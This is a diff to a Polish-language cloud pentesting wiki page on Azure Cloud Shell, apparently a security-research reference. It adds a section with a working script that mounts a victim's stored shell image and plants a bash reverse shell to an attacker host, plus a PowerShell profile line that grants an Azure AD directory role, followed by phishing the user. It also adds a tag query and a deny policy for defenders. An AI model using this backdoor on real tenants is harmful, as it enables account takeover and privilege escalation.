diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 6faecd5c3..f64e56329 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -4,18 +4,105 @@ ## Azure Cloud Shell -**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB współdzielonego dysku. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code. +**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB udostępnienia plików. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code. -Nie przypisano uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji. +Nie ma przypisanych uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji. -### Kluczowe cechy +### Kluczowe funkcje -**Środowisko**: Azure Cloud Shell zapewnia bezpieczne środowisko, działając na Azure Linux, własnej dystrybucji Linuksa Microsoftu zaprojektowanej dla infrastruktury chmurowej. Wszystkie pakiety zawarte w repozytorium Azure Linux są wewnętrznie kompilowane przez Microsoft, aby chronić przed atakami na łańcuch dostaw. -**Wstępnie zainstalowane narzędzia**: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list". -**Trwałość $HOME**: Po uruchomieniu Azure Cloud Shell po raz pierwszy, możesz go używać z lub bez podłączonego konta magazynowego. Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji. Aby zachować pliki między sesjami, zamontuj konto magazynowe, które automatycznie podłącza się jako **$HOME\clouddrive**, z Twoim katalogiem **$HOME** zapisanym jako plik **.img** w Azure File Share. Jednak pliki poza $HOME i stany maszyn nie są zachowywane. Aby bezpiecznie przechowywać sekrety, takie jak klucze SSH, użyj Azure Key Vault. -**Dysk Azure (Azure:)**: PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku. -**Instalacja niestandardowych narzędzi**: Użytkownicy, którzy konfigurowali Cloud Shell z kontem magazynowym, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień roota. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb. +- **Wstępnie zainstalowane narzędzia**: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list". +- **Dysk Azure (Azure:)**: PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku. +- **Instalacja niestandardowych narzędzi**: Użytkownicy, którzy skonfigurują Cloud Shell z kontem magazynowym, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień administratora. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb. +- **Trwałość $HOME**: Podczas pierwszego uruchomienia Azure Cloud Shell możesz używać go z lub bez podłączonego konta magazynowego. +- Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji. +- Aby zachować pliki między sesjami, masz możliwość **zamontowania konta magazynowego**, które automatycznie podłącza się jako `$HOME\clouddrive`, a twój katalog `$HOME` **zapisany jest jako plik .img w udostępnieniu plików.** +### Phishing w Cloud Shell + +Jeśli atakujący znajdzie obrazy innych użytkowników w koncie magazynowym, do którego ma dostęp do zapisu i odczytu, będzie mógł pobrać obraz, **dodać do niego backdoora bash i PS** oraz przesłać go z powrotem do konta magazynowego, aby następnym razem, gdy użytkownik uzyska dostęp do powłoki, **polecenia będą automatycznie wykonywane**. + +- **Pobierz, dodaj backdoora i przesyłaj obraz:** +```bash +# Download image +mkdir /tmp/phishing_img +az storage file download-batch -d /tmp/phishing_img --account-name + +# Mount image +cd /tmp/phishing_img/.cloudconsole +mkdir /tmp/cloudpoison +sudo mount acc_username.img /tmp/cloudpoison +cd /tmp/cloudpoison +sudo mkdir .config +sudo mkdir .config/PowerShell +sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 +sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Bash backdoor +echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc + +# PS backdoor +echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 +cd /tmp + +sudo umount /tmp/cloudpoison + +# Upload image +az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" +``` +- **Następnie, phishinguj użytkownika, aby uzyskać dostęp do https://shell.azure.com/** + +### Znajdź i zabroń automatycznym kontom magazynowym Cloud Shell + +Konta magazynowe utworzone przez Cloud Shell są oznaczone tagiem **`ms-resource-usage:azure-cloud-shell`**. Możliwe jest utworzenie polityki zasobów Azure, która uniemożliwia tworzenie zasobów z tym tagiem. + +Znajdź wszystkie konta magazynowe utworzone przez Cloud Shell według tagów: +```bash +az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")' +``` +Polityka zabraniająca tworzenia automatycznych kont magazynowych dla przechowywania w chmurze na podstawie tagów: +```json +{ +displayName: "Restrict cloud shell storage account creation", +description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy", +metadata: { +category: "Storage", +version: "1.0.0" +}, +mode: "All", +parameters: { +effect: { +type: "String", +metadata: { +displayName: "Effect", +description: "Deny, Audit or Disabled the execution of the Policy" +}, +allowedValues: [ +"Deny", +"Audit", +"Disabled" +], +defaultValue: "Audit" +} +}, +policyRule: { +if: { +allOf: [ +{ +field: "type", +equals: "Microsoft.Storage/storageAccounts" +}, +{ +field: "tags['ms-resource-usage']", +equals: "azure-cloud-shell" +} +] +}, +then: { +effect: "[parameters('effect')]" +} +} +} +``` ## Odniesienia - [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) @@ -23,7 +110,7 @@ Nie przypisano uprawnień do tej usługi, dlatego nie ma technik eskalacji upraw - [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) -## Trwałość +## Utrzymywanie {{#ref}} ../az-persistence/az-cloud-shell-persistence.md